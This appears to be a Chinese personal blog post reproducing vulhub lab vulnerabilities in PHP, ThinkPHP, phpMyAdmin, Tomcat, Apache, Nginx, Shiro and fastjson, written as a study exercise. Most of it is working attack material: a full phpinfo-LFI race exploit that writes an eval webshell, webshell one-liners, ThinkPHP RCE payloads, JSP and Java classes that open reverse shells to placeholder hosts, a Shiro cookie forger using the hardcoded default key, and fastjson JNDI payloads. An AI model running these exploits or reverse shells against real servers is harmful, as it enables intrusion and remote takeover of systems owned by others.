抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

p牛参与的项目vulhub,对于web安全从事人员而言应该说是宝库般的存在。里面许多的漏洞都是值得一一去学习的。在此感谢那些大佬为项目作出的付出。才让我们能够轻松复现题目。
环境从github上获取。环境搭建只需docker-compose up -d

phpinfo+lfi=shell

首先说明。这是一个无视php版本的漏洞。因此可见其通用性。vulhub上提供的php7的环境,以及一个lfi.php页面执行文件包含,一个phpinfo.php执行phpinfo。

漏洞原理:

首先,漏洞的操作顺序是:获取phpinfo中的临时文件名 –> 对临时文件进行包含 –> phpinfo页面执行结束,销毁临时文件。
所以如果我们让phpinfo的执行时间足够大,我们的文件包含就有足够时间执行。从而产生一个永久的shell。
所以利用时,使用的是原生的socket数据,往phpinfo中填充垃圾信息。php的默认缓冲区大小为4096个字节,就相当于php每次返回4096个字节给socket连接。这样,当我们获取到临时文件名时,就立即发送文件包含请求。就能执行命令并写入shell了。
使用vulhub上的exp脚本:

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

shell文件成功写入

最后即可在lfi页面达成任意命令执行

/lfi.php?file=/tmp/g&1=system(`ls`);

XDebug rce

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1
这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
(类似于之前的java jdwp,都是一个调试模式,同时监听了指定端口,让我们可以利用命令执行)
在漏洞环境phpinfo中可以看到xdebug的配置
xdebug.ini
进而找到xdebug开启

使用脚本,注意需要python3,同时要运行在有公网ip的机器上。

python3 exp.py -t http://ip:port/index.php -c 'system('id');'

id
因为脚本实际上实现的是监听本地9000端口并等待xdebug的连接。因此要么处于同一内网,要么自己有公网ip.

php-fpm Fastcgi

具体使用在之前的NCTF2019 phar matches everything 中已经用过了。
由于PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信
而fpm中有一个重要的环境变量参数,SCRIPT_FILENAME。只要它是一个服务器上存在的文件,就可以执行php文件。
已知原理后,后面实现其实就不难了。我们可以通过协议执行任意文件。既然如此,只要执行一个auto_prepend_file为php://input并开启allow_url_include = On。它在执行任意php文件时都会把我们post的内容带进去。进而达到任意命令执行。

python exp.py ip /usr/local/lib/php/PEAR.php  -p 9000 -c '<?php echo `id`;exit();?>'

id

phpmyadmin 4.8.1 远程文件包含漏洞

CVE-2018-12613。之前曾经在广外的比赛做过。应该说有许多种getshell方式,只不过各有千秋吧。
主要漏洞出在db_sql.php,由于里面一个urlencode函数的使用,所以可以通过二次编码绕过并文件包含。
target=db_sql.php%253f/../../../../../../../../etc/passwd
进一步可以getshell
直接执行sql语句

select `<?=phpinfo();?>`;

访问自己的session缓存文件

target=db_sql.php%253f/..../../../../../.././tmp/sess_ce21bdd74738d8aaff45c82288addcb7

phpinfo
所以当然可以执行sql语句select '<?php @eval($_GET["byc"]);?>'
写入一句话并包含

?target=db_sql.php%253f/..../../../../../.././tmp/sess_43a49651429f0e100e0d55c016f338b5&byc=system(%27ls%27);

getshell
貌似之前听说这个版本只能用get的一句话,所以还是写get的一句话就好。

ThinkPHP RCE

ThinkPHP5 5.0.22/5.1.29

大致看了下,貌似是因为命名空间的符号使用导致我们可以调用任意类
payload

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

可以直接rce
&vars[0]=system&vars[1][]=ls
也可以写一个shell.php

?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<%3fphp+%40eval(%24_GET%5b%27byc%27%5d)%3b%3f>

ThinkPHP5 5.0.23

也是比较常见的一个版本

GET:
?s=captcha

POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

Tomcat

Ghostcat CVE-2020-1938

幽灵猫。这里的环境只提供了文件读取.

 python3 ajpShooter.py http://vpsip/ 8009 /WEB-INF/web.xml read

想要进行RCE还需要一个文件上传点。
这里直接进入容器增加一个exp.jsp
docker exec -it 容器id /bin/bash
没有vim.用curl搞来一个exp.jsp到/WEB-INF下

<%@ page import="java.util.*,java.io.*"%>
<% 
out.println("Executing command");
Process p = Runtime.getRuntime().exec("ls /");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
  out.println(disr); 
  disr = dis.readLine(); 
}
%>

使用命令

 python3 ajpShooter.py http://vpsip/ 8009 /WEB-INF/exp.jsp eval


尝试了下弹shell的命令失败了。但是问题找不出来。最好在比赛中不要花时间执着于弹shell。可能会有大问题。

补:经郁师傅指点明白了是jsp的问题。具体原因之后解释,简要说主要是java弹shell时使用字符串与字符串数组的区别。

<%@ page import="java.util.*,java.io.*"%>
<%
    String[] cmdstr = { "/bin/bash", "-c", "bash -i >& /dev/tcp/vps/port 0>&1" };
    Runtime.getRuntime().exec(cmdstr);
%>

这样就能弹shell了。

tomcat7+ 弱口令 && 后台getshell漏洞

因为WUST那道题过来复现了下。还惊人的重现了:重复使用一个一次性的cookie也会造成403的问题。看来题目果然源于生活。

步骤很简单。第一步tomcat弱口令登入manager/html后台
正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。
由于后台支持部署war文件,直接上传war即可getshell
步骤:
1.cmd.jsp

<%

%>

jar cvf webshell.war webshell.jsp
生成webshell

2.命令执行
/webshell/exp.jsp?pwd=023&i=id)

PHP-CGI远程代码执行漏洞(CVE-2012-1823)

出现在以cgi模式运行的php中,影响版本 php < 5.3.12 or php < 5.4.2
简单说就是命令行的参数可以通过querysring的形式传入。
比如直接传-s
index.php?-s
直接回显源码。
进一步利用这点,则通过-d使用php://input达成文件包含=>命令执行。
payload

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

data: <?php echo `ls`; ?>

httpd

Apache HTTPD 多后缀解析漏洞

Apache HTTPD 支持一个文件拥有多个后缀
假如配置如下

AddHandler application/x-httpd-php .php

那么在有多个后缀的情况下,只要一个文件含有.php后缀的文件即将被识别成PHP文件
所以可以使用上传时加后缀绕过

访问上传1.php.jpg即可发现其被解析为php

Apache SSI 远程命令执行漏洞

之前接触过的shtml 的命令执行
<!--#exec cmd="ls" -->

之前HITCON2018 WhySoSerial中也有用到它进行文件包含的利用,这也是shtml的Server-Side Includes即ssi的特性了。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

环境有问题…没法复现了
大概就是上传php被ban时,通过.php%0a绕过,但是访问文件时时仍能被解析成php

nginx

Nginx 解析漏洞复现

这个洞直接帮我解决某入群题困扰了好久的一个点。也解决了我原来在做有关nginx有关服务的题目时遇到的奇特现象。
该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞

进入环境。直接上传一个GIF89A<?php @eval($_POST[0]);?>的1.jpg
绕过检测,上传图片。

同时访问图片。

但是一旦在jpg后加上/.php这个马就将被作为php解析

成功getshell

因此可以用在某些特殊的上传题目中。得到webshell竟可以如此简单,也算是一个小技巧了。

至于原因的话,还是由于nginx的配置问题。
一旦配置成把以.php结尾的文件交给fastcgi处理,遇到我们的/.php就直接扔给php了。

且php.ini设置了cgi.fix_pathinfo=1时,fastcgi会自动找到上级的1.jpg处理。
最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型
这项为空时就会将jpg文件当做代码解析。

所以只要

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

就可以防止错误解析。

Nginx 文件名逻辑漏洞(CVE-2013-4547)

这个跟上面的挺像的,
非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。
http://127.0.0.1/file.aaa \0.php
不用说也知道webshell姿势+1

还有几个配置漏洞就不复现了hhh

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

严格来说自己并没有用vulhub的镜像完成复现.所以自己找了网上其他的复现文章,用了下medicean/vulapps:s_shiro_1这个镜像,姑且是能做了

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

首先就要准备的是java反序列化的工具ysoserial.自己之前还只用过ysoserial.net。没用过本尊这个java反序列化神器。可以直接去github项目上找已经编译好的jar.或者git clone源码用mvn编译。暂且不提。

然后首先需要构造gadget.我的目的是反弹shell.所以要把反弹shell的代码准备下(注意。java反序列触发反弹shell一定不能直接传命令的字符串,之前ghostcat里也提过了,必须要字符串数组,否则>这样的字符过不去)而此处我们选择base64 加工命令执行代码解决这个问题
可以用下面这个网站直接得到编码payload
http://www.jackson-t.ca/runtime-exec-payloads.html

运行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'BASE64_ENCODED_COMMAND'

这样就起了一个JRMP服务监听6666端口。它会接受被攻击的服务器
信息并反序列化,执行gadget对应的命令

接下来就是构造序列化的cookie rememberMe了。首先在登录界面勾选rememberme并抓包,准备替换cookie为我们的利用cookie

利用下面这个脚本生成cookie,参数传攻击ip:java监听端口

import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

本质上是利用了shiro默认密钥进行AES加密。所以可见硬编码带来的危害,导致cookie可控即可触发反序列化。
生成的cookie替换即可触发反序列化
nc监听端口得到反弹shell

vulhub的环境不知道为什么弹不到shell,而它给出的方法gadget也完全不一样,不过思路大同小异。就是我的eclipse加载项目半天没搞好…

fastjson 1.2.24 反序列化导致任意命令执行漏洞

最近莫名感觉java的题多起来了,在观摩其他dalao们的blog时也发现不少内容都在深度研究java的相关漏洞。所以自己也来尝试多复现几个反序列化的洞。至少先当个脚本小子,等到暑假就能好好研究了。

首先是1.2.24的fastjson.这里主要是一个jndi注入。其利用流程如下:
首先准备好利用的源码exp.java

import java.lang.Runtime;
import java.lang.Process;

public class exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = { "/bin/bash", "-c", "bash -i >& /dev/tcp/xxxxxx/9001 0>&1" };
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

然后javac exp.java编译好得到exp.class。

而服务端在Content-Type:application/json下,post json数据

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxx:9999/exp",
        "autoCommit":true
    }
}

这里用到了marshalsec这个工具。基本上跟ysoserial用起来一样的。拷贝源码maven编译就好
接下来启动一个RMI服务器,监听9999端口,并制定加载远程类exp.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx/#exp" 9999

安全起见,最好还是新建一个文件夹放class文件并用python监听80端口.

本机监听9001端口收到shell.

本质上就是,JdbcRowSetImpl这个类的dataSourceName支持传入一个rmi的源.
当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。

起一个ldap服务也是一样的,而且ldap似乎比rmi适用性更广。
只要改成java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer并把payload中的rmi://换成ldap://即可。

注意下这两个服务利用版本

  • 基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • 基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u191、7u201、6u211之前。

Fastjson 1.2.47 远程命令执行漏洞

跟上面没啥大区别。环境是openjdk:8u102。同样可以加载rmi

实际上是因为最早的fastjson反序列化也就是上面那个,是支持反序列化任意类的。只要有@type就能做到。而后面的版本主要是禁止了反序列化任意类的操作,并且对可以利用的类加入黑名单而已。
Fastjson反序列化漏洞 1.2.24-1.2.48

而这个版本1.2.47的payload则无需开启autotype通杀

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xxxx:9999/Exploit",
        "autoCommit":true
    }
}

然后跟上面流程一样的直接打,拿到shell.

评论